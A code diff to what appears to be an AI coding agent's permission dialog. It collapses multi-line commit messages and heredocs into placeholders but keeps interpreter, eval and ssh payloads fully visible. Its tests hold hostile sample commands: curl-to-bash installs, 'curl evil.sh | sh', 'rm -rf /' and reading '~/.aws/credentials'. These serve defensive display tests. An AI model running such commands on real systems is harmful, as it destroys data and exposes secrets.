diff --git a/src/tui/command-display.test.ts b/src/tui/command-display.test.ts index 8b0c26716..e8599feb7 100644 --- a/src/tui/command-display.test.ts +++ b/src/tui/command-display.test.ts @@ -1,5 +1,10 @@ import { test, expect } from "bun:test"; -import { groupChainSegmentsForDisplay, verbatimCommandLines, middleEllipsis } from "./command-display.js"; +import { + collapseSegmentPayloads, + groupChainSegmentsForDisplay, + verbatimCommandLines, + middleEllipsis, +} from "./command-display.js"; test("pipe stages stay inline while chain operators split", () => { expect(groupChainSegmentsForDisplay("ls | head -5 && echo done")).toEqual([ @@ -69,6 +74,58 @@ test("bare carriage returns render as a visible marker", () => { ]); }); +test("collapseSegmentPayloads leaves a single-line segment untouched", () => { + expect(collapseSegmentPayloads("git status")).toEqual({ display: "git status", payloads: [] }); +}); + +test("collapseSegmentPayloads collapses a heredoc body to a placeholder with a line count", () => { + const segment = "git commit -F - <<'EOF'\nfix: something\n\nlonger body line\nEOF"; + const { display, payloads } = collapseSegmentPayloads(segment); + expect(display).toBe("git commit -F - <<'EOF' "); + expect(payloads).toEqual([ + { placeholder: "", lines: ["fix: something", "", "longer body line"] }, + ]); +}); + +test("collapseSegmentPayloads collapses a multi-line -m message to ", () => { + const segment = 'git commit -m "line one\nline two\nline three"'; + const { display, payloads } = collapseSegmentPayloads(segment); + expect(display).toBe("git commit -m "); + expect(payloads).toEqual([ + { placeholder: "", lines: ["line one", "line two", "line three"] }, + ]); +}); + +test("collapseSegmentPayloads labels a non-message multi-line quoted argument as ", () => { + const segment = 'echo "line one\nline two"'; + const { display } = collapseSegmentPayloads(segment); + expect(display).toBe("echo "); +}); + +test("collapseSegmentPayloads never collapses a single-line quoted argument", () => { + const segment = 'git commit -m "a normal one-line message"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a heredoc eval'd as code", () => { + const segment = "eval \"$(cat <<'EOF'\necho hi\nrm -rf /\nEOF\n)\""; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a bash -c command substitution", () => { + const segment = 'bash -c "$(curl -s https://example.com/install.sh)"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads still collapses a data-consuming git commit message", () => { + const segment = 'git commit -m "line one\nline two\nline three"'; + const { display, payloads } = collapseSegmentPayloads(segment); + expect(display).toBe("git commit -m "); + expect(payloads).toEqual([ + { placeholder: "", lines: ["line one", "line two", "line three"] }, + ]); +}); + test("middleEllipsis keeps head and tail", () => { expect(middleEllipsis("abcdefghij", 20)).toBe("abcdefghij"); const cut = middleEllipsis("prefix-common middle distinguishing-tail", 20); @@ -77,3 +134,134 @@ test("middleEllipsis keeps head and tail", () => { expect(cut.endsWith("tail")).toBe(true); expect(cut).toContain("…"); }); + +test("collapseSegmentPayloads never collapses a path-qualified bash -c invocation", () => { + const segment = '/bin/bash -c "$(curl -s https://example.com/install.sh)"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a ./bash -c invocation", () => { + const segment = './bash -c "$(curl -s https://example.com/install.sh)"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a /usr/local/bin/sh -c invocation", () => { + const segment = '/usr/local/bin/sh -c "$(curl -s https://example.com/install.sh)"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses python -c code", () => { + const segment = 'python -c "import os\nos.system(\'rm -rf /\')"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses python3 -c code", () => { + const segment = 'python3 -c "print(1)\nprint(2)"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses node -e code", () => { + const segment = 'node -e "console.log(1)\nconsole.log(2)"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses node --eval code", () => { + const segment = 'node --eval "console.log(1)\nconsole.log(2)"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses ruby -e code", () => { + const segment = 'ruby -e "puts 1\nputs 2"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses perl -e code", () => { + const segment = 'perl -e "print 1\nprint 2"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses php -r code", () => { + const segment = 'php -r "echo 1;\necho 2;"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses an ssh remote payload", () => { + const segment = 'ssh host "curl evil.sh | sh\nrm -rf /"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses an env-wrapped bash -c invocation", () => { + const segment = 'env VAR=1 bash -c "line one\nline two"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a sudo-wrapped bash -c invocation", () => { + const segment = 'sudo bash -c "line one\nline two"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a timeout-wrapped bash -c invocation", () => { + const segment = 'timeout 30 bash -c "line one\nline two"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a nohup-wrapped bash -c invocation", () => { + const segment = 'nohup bash -c "line one\nline two" &'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads still collapses a commit message containing a trigger word in quoted text", () => { + const segment = 'git commit -m "please source of truth\nfor this change"'; + const { display, payloads } = collapseSegmentPayloads(segment); + expect(display).toBe("git commit -m "); + expect(payloads).toEqual([{ placeholder: "", lines: ["please source of truth", "for this change"] }]); +}); + +test("collapseSegmentPayloads still collapses a quoted argument mentioning env in its text", () => { + const segment = 'echo "the env for this feature\nis staging"'; + const { display } = collapseSegmentPayloads(segment); + expect(display).toBe("echo "); +}); + +test("collapseSegmentPayloads still collapses a normal long commit-message heredoc", () => { + const segment = "git commit -F <<'EOF'\nsummary line\nmore detail\nEOF\n"; + const { display, payloads } = collapseSegmentPayloads(segment); + expect(display).toBe("git commit -F <<'EOF' "); + expect(payloads).toEqual([{ placeholder: "", lines: ["summary line", "more detail"] }]); +}); + +test("collapseSegmentPayloads never collapses a bash heredoc without -c", () => { + const segment = "bash <<'EOF'\necho hi\nrm -rf /\nEOF\n"; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a python3 heredoc without -c", () => { + const segment = "python3 <<'EOF'\nimport os\nos.system('rm -rf /')\nEOF\n"; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a bash -s heredoc", () => { + const segment = "bash -s <<'EOF'\necho hi\nEOF\n"; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a pipe into bash", () => { + const segment = "cat <<'EOF'\necho hi\nrm -rf /\nEOF\n | bash"; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses echo piped to sh", () => { + const segment = 'echo "a\nb" | sh'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses a quoted bash -c flag", () => { + const segment = 'bash "-c" "line1\nline2"'; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); + +test("collapseSegmentPayloads never collapses an interpreter without any code flag", () => { + // Fail-open: naming bash at all is enough, even with no payload flags. + const segment = "bash script.sh"; + expect(collapseSegmentPayloads(segment)).toEqual({ display: segment, payloads: [] }); +}); diff --git a/src/tui/command-display.ts b/src/tui/command-display.ts index 9ad3da9ad..4b4f95f28 100644 --- a/src/tui/command-display.ts +++ b/src/tui/command-display.ts @@ -231,6 +231,234 @@ export function verbatimCommandLines(text: string): VerbatimLine[] { return lines.filter((line, i) => line.text.trim().length > 0 || i === 0); } +export type CollapsedPayload = { placeholder: string; lines: string[] }; + +export type CollapsedSegment = { + // The segment with each qualifying payload (a heredoc body, or a quoted + // string spanning multiple lines) replaced by a short "" + // placeholder. A segment returned by groupChainSegmentsForDisplay is + // already boundary-resolved, so any newline still inside it comes from one + // of these two sources — never a chain boundary — which is what lets the + // collapsed segment always render as a single line. + display: string; + // The full text of each collapsed payload, in placeholder order, shown when + // the operator expands via Ctrl+O. + payloads: CollapsedPayload[]; +}; + +// Picks a short, human label for a collapsed quoted payload by looking at the +// flag token immediately before it (`-m`/`--message`/`-F` read as a commit +// message; anything else is generic "text"). Display-only guesswork — never +// used for classification or matching. +function payloadLabel(segment: string, quoteStart: number): string { + let k = quoteStart - 1; + while (k >= 0 && (segment[k] === " " || segment[k] === "=")) k--; + const end = k + 1; + while (k >= 0 && segment[k] !== " " && segment[k] !== "=") k--; + const token = segment.slice(k + 1, end); + return token === "-m" || token === "--message" || token === "-F" ? "message" : "text"; +} + +function lineCountSuffix(count: number): string { + return `${count} line${count === 1 ? "" : "s"}`; +} + +// Commands that hand a payload to a shell/interpreter to execute rather than +// consuming it as inert data. A segment naming one of these must never +// collapse — the operator has to be able to read the code they are approving. +// `ssh` is unconditional too: whatever payload follows the host runs on the +// remote end regardless of flags, so there is no safe "no -c present" case. +// +// Interpreters are unconditional for the same reason: they can take code via +// `-c`/`-e`, stdin (`-s` / `-`), a heredoc body, or a pipe from an earlier +// stage — flag-gated detection left those paths free to collapse executable +// bodies. Fail open: any segment that names an interpreter never collapses. +const CODE_CONSUMING_COMMANDS = new Set([ + "eval", + "source", + ".", + "xargs", + "env", + "ssh", + "bash", + "sh", + "zsh", + "dash", + "python", + "python3", + "node", + "ruby", + "perl", + "php", +]); + +// Command-position words only: the program name and its flags, never text +// inside a quoted argument or heredoc body. A naive whitespace split would +// let a trigger word incidentally appearing inside a quoted payload (a commit +// message mentioning "source", a heredoc line mentioning "env") falsely mark +// the segment as code-consuming and suppress collapsing it — this walk skips +// quoted/heredoc spans entirely so only the actual command and its arguments +// are considered. Display-only guesswork (see the file header) — never used +// for classification. +function segmentWords(segment: string): string[] { + const words: string[] = []; + let current = ""; + let quote: '"' | "'" | "`" | null = null; + let heredocMarker: string | null = null; + + const push = (): void => { + if (current.length > 0) words.push(current); + current = ""; + }; + + let i = 0; + while (i < segment.length) { + const ch = segment[i] as string; + + if (heredocMarker !== null) { + if (ch === "\n") { + let lineEnd = segment.indexOf("\n", i + 1); + if (lineEnd === -1) lineEnd = segment.length; + if (segment.slice(i + 1, lineEnd).trim() === heredocMarker) { + heredocMarker = null; + i = lineEnd; + } + } + i++; + continue; + } + + if (quote !== null) { + if (ch === quote) quote = null; + i++; + continue; + } + + if (ch === '"' || ch === "'" || ch === "`") { + push(); + quote = ch; + i++; + continue; + } + + if (ch === "<" && segment[i + 1] === "<") { + const marker = parseHeredocMarker(segment, i); + if (marker !== null) { + push(); + heredocMarker = marker; + while (i < segment.length && segment[i] !== "\n") i++; + continue; + } + } + + if (ch === " " || ch === "\t" || ch === "\n") { + push(); + i++; + continue; + } + + current += ch; + i++; + } + push(); + return words; +} + +// The POSIX basename of a word naming a program: strips any directory +// prefix, so `/bin/bash`, `./bash`, and `bash` are all recognized as the +// same interpreter. Display-only guesswork, same as the rest of this file. +function programBasename(word: string): string { + const slash = word.lastIndexOf("/"); + return slash === -1 ? word : word.slice(slash + 1); +} + +// True when `segment` names a command that treats a quoted or heredoc payload +// as code — directly (eval, source, xargs, env, ssh) or via an interpreter +// (bash/sh/python/node/…), including one reached through a `$(...)`/backtick +// command substitution, since those words show up as ordinary tokens in the +// segment either way. Interpreter names are matched by basename so a +// path-qualified spelling (`/bin/bash`, `./sh`) is not missed, and wrapper +// prefixes (env, sudo, nohup, timeout, ...) are handled for free because this +// scans every word rather than just the first. +// +// Also true when any *other* segment of a pipe/chain is code-consuming: the +// caller checks each segment, and `groupChainSegmentsForDisplay` keeps pipes +// in one display segment, so `cat < word.replace(/^[(`]+/, "").replace(/^\$\(/, ""); + for (const word of words) { + const bare = programBasename(bareWord(word)); + if (CODE_CONSUMING_COMMANDS.has(bare)) return true; + } + return false; +} + +// Collapse a heredoc body or a multi-line quoted-string argument within one +// display segment into a placeholder. Never influences classification or +// grant matching — display only, mirroring the header comment for this file. +// A segment that hands its payload to an interpreter as code is never +// collapsed (see isCodeConsumingSegment) — only data-consuming payloads +// (commit messages, file contents piped to tee/cat, echoed text) collapse. +export function collapseSegmentPayloads(segment: string): CollapsedSegment { + if (isCodeConsumingSegment(segment)) return { display: segment, payloads: [] }; + const payloads: CollapsedPayload[] = []; + let display = ""; + let i = 0; + while (i < segment.length) { + const ch = segment[i] as string; + + if (ch === "<" && segment[i + 1] === "<") { + const marker = parseHeredocMarker(segment, i); + if (marker !== null) { + let j = i; + while (j < segment.length && segment[j] !== "\n") j++; + display += segment.slice(i, j); + i = j + 1; + const bodyLines: string[] = []; + while (i < segment.length) { + let lineEnd = segment.indexOf("\n", i); + if (lineEnd === -1) lineEnd = segment.length; + const line = segment.slice(i, lineEnd); + if (line.trim() === marker) { + i = lineEnd + 1; + break; + } + bodyLines.push(line); + i = lineEnd + 1; + } + const placeholder = ``; + display += ` ${placeholder}`; + payloads.push({ placeholder, lines: bodyLines }); + continue; + } + } + + if (ch === '"' || ch === "'" || ch === "`") { + const quote = ch; + let j = i + 1; + while (j < segment.length && segment[j] !== quote) j++; + const content = segment.slice(i + 1, j); + if (content.includes("\n")) { + const lines = content.split("\n"); + const placeholder = `<${payloadLabel(segment, i)}, ${lineCountSuffix(lines.length)}>`; + display += placeholder; + payloads.push({ placeholder, lines }); + i = j < segment.length ? j + 1 : j; + continue; + } + display += segment.slice(i, j < segment.length ? j + 1 : j); + i = j < segment.length ? j + 1 : j; + continue; + } + + display += ch; + i++; + } + return { display, payloads }; +} + // Truncate to `max` characters keeping both the head and tail, so a set of // strings that share a long common prefix (e.g. persistent Allow options that // differ only in their trailing grant note) stay visually distinguishable diff --git a/src/tui/components/permission-modal.tsx b/src/tui/components/permission-modal.tsx index 2106bf0b5..5678046bf 100644 --- a/src/tui/components/permission-modal.tsx +++ b/src/tui/components/permission-modal.tsx @@ -6,8 +6,7 @@ import { color } from "../theme.js"; import { describeToolCall } from "../tool-formatter.js"; import { stripTerminalControlSequences } from "../../util/control-char-strip.js"; import { isShellCommentOnly } from "../../permission/command.js"; -import { groupChainSegmentsForDisplay, middleEllipsis, verbatimCommandLines } from "../command-display.js"; -import type { VerbatimLine } from "../command-display.js"; +import { collapseSegmentPayloads, groupChainSegmentsForDisplay, middleEllipsis } from "../command-display.js"; import type { QueuedApprovalSummary } from "../hooks/use-gates.js"; // Bidi controls (RLO, embeddings, isolates) visually reorder the rendered @@ -39,25 +38,6 @@ function sanitizeForPrompt(text: string): string { .replace(/\r\n|\r|\n/g, "↵"); } -// The verbatim block renders top-level newlines as real wrapped lines so a -// genuinely multi-line command reads naturally. Newlines inside quotes and -// bare CRs stay inline as a visible ↵ marker (see verbatimCommandLines) so an -// embedded break in a quoted argument still cannot masquerade as a fresh, -// unmarked line — see the "cannot fake extra lines" regression test. Control -// sequences and bidi/zero-width characters are stripped exactly as before; -// only line-break presentation differs from sanitizeForPrompt. Each line is -// clamped individually and the line count is capped, mirroring the segment -// cap: many short lines would otherwise pass the character clamp yet still -// push the Reject/Accept choices off screen. -function verbatimDisplayLines(text: string): { lines: VerbatimLine[]; hiddenLineCount: number } { - const stripped = stripTerminalControlSequences(text).replace(BIDI_AND_ZERO_WIDTH, ""); - const all = verbatimCommandLines(stripped); - const lines = all - .slice(0, MAX_RENDERED_LINES) - .map((line) => ({ ...line, text: clampForDisplay(line.text) })); - return { lines, hiddenLineCount: all.length - lines.length }; -} - // Hints (and, more rarely, labels) for persistent Allow options share a long // command prefix and differ only in a trailing grant note or pattern // suffix — tail-truncation clips exactly the part that distinguishes them. @@ -114,6 +94,29 @@ const PERSISTENT_GRANTS: { grant: GrantScope; note: string }[] = [ { grant: "global", note: "all projects" }, ]; +// When every segment of a multi-command chain shares the same leading word +// (e.g. all "git"), name the family after it; otherwise fall back to "shell" +// rather than guessing. Display only — never affects what gets granted. +function commandFamilyLabel(segments: readonly string[]): string { + const firstWords = segments.map((s) => s.trim().split(/\s+/)[0] ?? ""); + const first = firstWords[0]; + const allSame = first !== undefined && first.length > 0 && firstWords.every((w) => w === first); + return allSame ? first : "shell"; +} + +// The single concise noun phrase an "Allow" option grants — a backtick-quoted +// pattern for a single command, or "these N commands" for a +// multi-segment chain grant. Never a duplicated ellipsized command mash. +function grantSubject(request: PermissionRequest, hint: string): string { + if (request.tool !== "run_shell") return `\`${hint}\``; + const segments = groupChainSegmentsForDisplay(request.subject).filter( + (s) => !isShellCommentOnly(s), + ); + if (segments.length <= 1) return `\`${hint}\``; + const family = commandFamilyLabel(segments); + return `these ${segments.length} ${family} commands`; +} + function buildChoices(request: PermissionRequest): Choice[] { const choices: Choice[] = [ { @@ -142,17 +145,18 @@ function buildChoices(request: PermissionRequest): Choice[] { if (prefixScope?.pattern) { const broadPattern = prefixScope.pattern; const broadHint = prefixScope.hint ?? broadPattern; + const subject = grantSubject(request, broadHint); for (const option of PERSISTENT_GRANTS) { choices.push({ - label: `Allow ${broadPattern}`, - hint: `${broadHint} · ${option.note}`, - hintStyle: "command", + label: `Allow ${subject} — ${option.note}`, + hint: "", + hintStyle: "note", messageable: false, outcome: { allow: true, persist: { id: `${option.grant}-broad`, - label: `Allow ${broadPattern}`, + label: `Allow ${subject}`, pattern: broadPattern, hint: broadHint, grant: option.grant, @@ -166,17 +170,18 @@ function buildChoices(request: PermissionRequest): Choice[] { ?? [...request.scopes].reverse().find((s) => s.pattern !== null); if (exactScope?.pattern) { const hint = exactScope.hint ?? exactScope.pattern; + const subject = grantSubject(request, hint); for (const option of PERSISTENT_GRANTS) { choices.push({ - label: `Allow ${hint}`, - hint: `${hint} · ${option.note}`, - hintStyle: "command", + label: `Allow ${subject} — ${option.note}`, + hint: "", + hintStyle: "note", messageable: false, outcome: { allow: true, persist: { id: option.grant, - label: `Allow ${hint}`, + label: `Allow ${subject}`, pattern: exactScope.pattern, hint, grant: option.grant, @@ -225,13 +230,19 @@ export function PermissionModal({ const allShellSegments = descriptor.isShell ? groupChainSegmentsForDisplay(request.subject).filter((segment) => !isShellCommentOnly(segment)) : []; - const shellSegments = allShellSegments - .slice(0, MAX_RENDERED_SEGMENTS) - .map((segment) => clampForDisplay(sanitizeForPrompt(segment))); - const hiddenSegmentCount = allShellSegments.length - shellSegments.length; - const verbatim = descriptor.isShell - ? verbatimDisplayLines(request.subject) - : { lines: [] as VerbatimLine[], hiddenLineCount: 0 }; + const cappedSegments = allShellSegments.slice(0, MAX_RENDERED_SEGMENTS); + const hiddenSegmentCount = allShellSegments.length - cappedSegments.length; + // Collapse heredoc/quoted-string payloads before sanitizing so an embedded + // newline is recognized as a payload boundary, not just turned into a ↵ + // marker — this is what lets the command render once, as one line per + // segment, with no separate raw dump underneath. + const collapsedSegments = cappedSegments.map((segment) => { + const collapsed = collapseSegmentPayloads(segment); + return { + display: clampForDisplay(sanitizeForPrompt(collapsed.display)), + payloads: collapsed.payloads, + }; + }); const activeChoice = choices[selected]; const messageMode = message.length > 0 || false; @@ -351,42 +362,45 @@ export function PermissionModal({ )} )} - {descriptor.isShell && ( - // The exact string that will execute, always shown verbatim: the - // segment list below is a lossy reconstruction, and the scope hints - // that otherwise carry the full command are absent when a request - // must not mint grants (secret-path shell). - - {verbatim.lines.map((line, i) => ( - // Full-line comments are shell no-ops: de-emphasize them so the - // executable lines carry the visual weight. - - {line.text} - - ))} - {verbatim.hiddenLineCount > 0 && ( - {`… ${verbatim.hiddenLineCount} more lines`} - )} - - )} - {shellSegments.length > 1 ? ( + {collapsedSegments.length > 0 ? ( + // The command renders exactly once, as this segment list — no + // separate raw dump. Heredoc/quoted payloads are already collapsed + // to a placeholder; Ctrl+O reveals their full text below each one. - {shellSegments.map((segment, i) => ( - {`${i + 1}. ${segment}`} + {collapsedSegments.map((segment, i) => ( + + + {collapsedSegments.length > 1 ? `${i + 1}. ${segment.display}` : segment.display} + + {expanded && + segment.payloads.map((payload, pi) => { + const lines = payload.lines.slice(0, MAX_RENDERED_LINES); + const hiddenLines = payload.lines.length - lines.length; + return ( + + {lines.map((line, li) => ( + + {clampForDisplay(sanitizeForPrompt(line))} + + ))} + {hiddenLines > 0 && ( + {`… ${hiddenLines} more lines`} + )} + + ); + })} + ))} {hiddenSegmentCount > 0 && ( {`… ${hiddenSegmentCount} more segments`} )} - - One decision covers every segment — rejecting any blocks the whole command. - + {collapsedSegments.length > 1 && ( + + One decision covers every segment — rejecting any blocks the whole command. + + )} - ) : !descriptor.isShell && summary.length > 0 ? ( + ) : summary.length > 0 ? ( {summary} @@ -413,6 +427,11 @@ export function PermissionModal({ const hintClose = choice.hintStyle === "command" ? "]" : ")"; const hintColor = choice.hintStyle === "command" ? color("muted") : color("muted"); const hintDim = choice.hintStyle === "command"; + // Persistent Allow choices carry their scope in the label itself + // (see grantSubject) and set hint to "" — nothing left to show in a + // second, dimmer bracket, so the bracket is omitted entirely rather + // than rendering an empty "()" pair. + const showHint = choice.hint.length > 0 || (active && messageMode); return ( @@ -424,19 +443,23 @@ export function PermissionModal({ ? sanitizeForPrompt(choice.label) : truncateChoiceText(sanitizeForPrompt(choice.label), width)} - {" "} - - {hintOpen} - - - {hintText} - - {active && messageMode && ( - + {showHint && ( + <> + {" "} + + {hintOpen} + + + {hintText} + + {active && messageMode && ( + + )} + + {hintClose} + + )} - - {hintClose} - ); })} diff --git a/tests/unit/tui/permission-modal.test.tsx b/tests/unit/tui/permission-modal.test.tsx index 78c434ffc..ed6b03c48 100644 --- a/tests/unit/tui/permission-modal.test.tsx +++ b/tests/unit/tui/permission-modal.test.tsx @@ -107,19 +107,16 @@ test("a pipe chain followed by a chain operator is one segment plus a separate t expect(frame).not.toMatch(/\d+\. head -20/); }); -test("the verbatim command renders as a wrapped multi-line block for a real multi-line command", () => { +test("a real multi-line command renders as two numbered segments, not one dense line", () => { const { lastFrame } = render( {}} />, ); const frame = lastFrame() ?? ""; const lines = (frame.split("\n") as string[]).map((l) => l.replace(/^[│\s]+|[│\s]+$/g, "")); - expect(lines.some((l) => l === "echo one")).toBe(true); - // A top-level LF is a real command separator: it renders as an actual - // fresh line with no ↵ marker (the marker is reserved for suspicious - // breaks — quoted newlines and bare CRs). - expect(lines.some((l) => l === "echo two")).toBe(true); - // The verbatim block itself is no longer a single dense line with the - // command collapsed onto it via the marker. + // A top-level LF is a real command separator: each command gets its own + // numbered segment, not a single line joined by a ↵ marker. + expect(lines.some((l) => l === "1. echo one")).toBe(true); + expect(lines.some((l) => l === "2. echo two")).toBe(true); expect(lines).not.toContain("echo one↵echo two"); }); @@ -132,7 +129,7 @@ test("a background & chain is enumerated like the security splitter sees it", () expect(frame).toContain("2. rm -rf /tmp/scratch"); }); -test("a comment+pipe command renders one inline segment, a separated comment line, and distinct scope options", () => { +test("a comment+pipe command renders one inline segment (comment omitted, no raw dump) with distinct scope options", () => { const command = "# Extract history lines for the two latest sessions only\ngrep -E 'aaa11111|bbb22222' /path/to/example.jsonl | cut -c1-500"; const withScopes: PermissionRequest = { @@ -145,11 +142,12 @@ test("a comment+pipe command renders one inline segment, a separated comment lin }; const { lastFrame } = render( {}} />); const frame = lastFrame() ?? ""; - const lines = (frame.split("\n") as string[]).map((l) => l.replace(/^[│\s]+|[│\s]+$/g, "")); - // (b) The comment renders on its own line, not glued to the command with a marker. - expect(lines.some((l) => l === "# Extract history lines for the two latest sessions only")).toBe(true); - expect(frame).not.toContain("only↵grep"); + // The command renders exactly once, as the segment list — no separate raw + // dump repeating it. A full-line comment is a shell no-op, so it is + // dropped rather than shown a second time alongside the segment. + expect(frame).not.toContain("# Extract history lines for the two latest sessions only"); + expect(frame).toContain("grep -E 'aaa11111|bbb22222' /path/to/example.jsonl | cut -c1-500"); // The pipe chain is a single command: no enumerated segment list at all // (grouping yields one display segment, and single segments are not numbered), @@ -203,10 +201,10 @@ test("persistent Allow labels for a commented command stay distinct from its com }; const { lastFrame } = render( {}} />); const frame = lastFrame() ?? ""; - const allowLines = (frame.split("\n") as string[]).filter((l) => l.includes("Allow npm test")); + const allowLines = (frame.split("\n") as string[]).filter((l) => l.includes("Allow `npm test`")); // Three persistent options (session/project/global) all render the bare - // command — the comment shown in the verbatim block above never leaks into - // the Allow option labels or hints themselves. + // command — the comment (dropped from the segment list entirely) never + // leaks into the Allow option labels or hints themselves. expect(allowLines.length).toBe(3); for (const line of allowLines) { expect(line).not.toContain("helper note explaining why this runs"); @@ -254,19 +252,22 @@ test("an enormous single command is truncated for display", () => { expect(Date.now() - start).toBeLessThan(5_000); }); -test("a many-line command caps the verbatim block and keeps the choice chrome in frame", () => { +test("a many-line command caps the segment list and keeps the choice chrome in frame", () => { + // Each bare line is its own chain-boundary segment (a top-level newline is + // a command separator), so this is a 101-segment chain — capped the same + // way any other huge chain is, with no separate raw dump underneath. const flood = `rm -rf / #hidden\n${Array.from({ length: 100 }, () => "x").join("\n")}`; const { lastFrame } = render( {}} />); const frame = lastFrame() ?? ""; const lines = frame.split("\n") as string[]; expect(lines.length).toBeLessThan(50); expect(frame).toContain("rm -rf / #hidden"); - expect(frame).toMatch(/… \d+ more lines/); + expect(frame).toMatch(/… \d+ more segments/); expect(frame).toContain("Reject"); expect(frame).toContain("Accept once"); }); -test("the verbatim command is shown even when no persistable scopes exist", () => { +test("the command is shown even when no persistable scopes exist", () => { const secretPath: PermissionRequest = { tool: "run_shell", action: "Run shell command", @@ -275,7 +276,8 @@ test("the verbatim command is shown even when no persistable scopes exist", () = }; const { lastFrame } = render( {}} />); const frame = (lastFrame() ?? "").replace(/[\s│]/g, ""); - expect(frame).toContain("cat~/.aws/credentials&&echodone"); + expect(frame).toContain("1.cat~/.aws/credentials"); + expect(frame).toContain("2.echodone"); }); test("the mega-chain notice renders as a muted line when scopes are withheld", () => { @@ -312,7 +314,7 @@ test("PermissionModal shows reject, accept-once, and broad-scope options", () => expect(frame).toContain("Accept once"); // Broad prefix scope options (3, 4, 5) expect(frame).toContain("npm *"); - expect(frame).toContain("Allow npm *"); + expect(frame).toContain("Allow `npm *`"); // No exact-command auto-accept labels when prefix scope is present expect(frame).not.toContain("Auto-accept this session"); expect(frame).not.toContain("Auto-accept for this provider/model"); @@ -421,3 +423,61 @@ test("Escape rejects", async () => { await tick(); expect(outcome).toEqual({ allow: false }); }); + +test("a heredoc payload collapses to a line-count placeholder, not a second raw dump", () => { + const command = + "git add -A && git commit -F - <<'EOF'\nfix: something\n\nlonger body line\nEOF\n && git status && git log -1"; + const req: PermissionRequest = { + tool: "run_shell", + action: "Run shell command", + subject: command, + scopes: [{ id: "exact", label: "x", pattern: command }], + }; + const { lastFrame } = render( {}} />); + const frame = lastFrame() ?? ""; + // The command renders once — as the segment list — with the heredoc body + // collapsed to a placeholder, not repeated a second time inline. + expect(frame).toContain("1. git add -A"); + expect(frame).toContain("2. git commit -F - <<'EOF' "); + expect(frame).toContain("3. git status"); + expect(frame).toContain("4. git log -1"); + expect(frame).not.toContain("longer body line"); + expect(frame).not.toContain("fix: something"); + // The scope options lead with the scope and name the grant subject once — + // never a duplicated ellipsized command mash. + expect(frame).toContain("Allow these 4 git commands — this session"); + expect(frame).toContain("Allow these 4 git commands — persisted per repo"); + expect(frame).toContain("Allow these 4 git commands — all projects"); +}); + +test("Ctrl+O reveals a collapsed heredoc payload's full text", async () => { + const command = "git commit -F - <<'EOF'\nfix: something\n\nlonger body line\nEOF"; + const req: PermissionRequest = { + tool: "run_shell", + action: "Run shell command", + subject: command, + scopes: [{ id: "exact", label: "x", pattern: command }], + }; + const { lastFrame, stdin } = render( {}} />); + await tick(); + expect(lastFrame() ?? "").not.toContain("longer body line"); + stdin.write("\x0F"); // Ctrl+O + await tick(); + const frame = lastFrame() ?? ""; + expect(frame).toContain("fix: something"); + expect(frame).toContain("longer body line"); +}); + +test("a multi-line quoted commit message collapses to ", () => { + const command = 'git commit -m "line one\nline two\nline three"'; + const req: PermissionRequest = { + tool: "run_shell", + action: "Run shell command", + subject: command, + scopes: [{ id: "exact", label: "x", pattern: command }], + }; + const { lastFrame } = render( {}} />); + const frame = lastFrame() ?? ""; + expect(frame).toContain("git commit -m "); + expect(frame).not.toContain("line two"); +});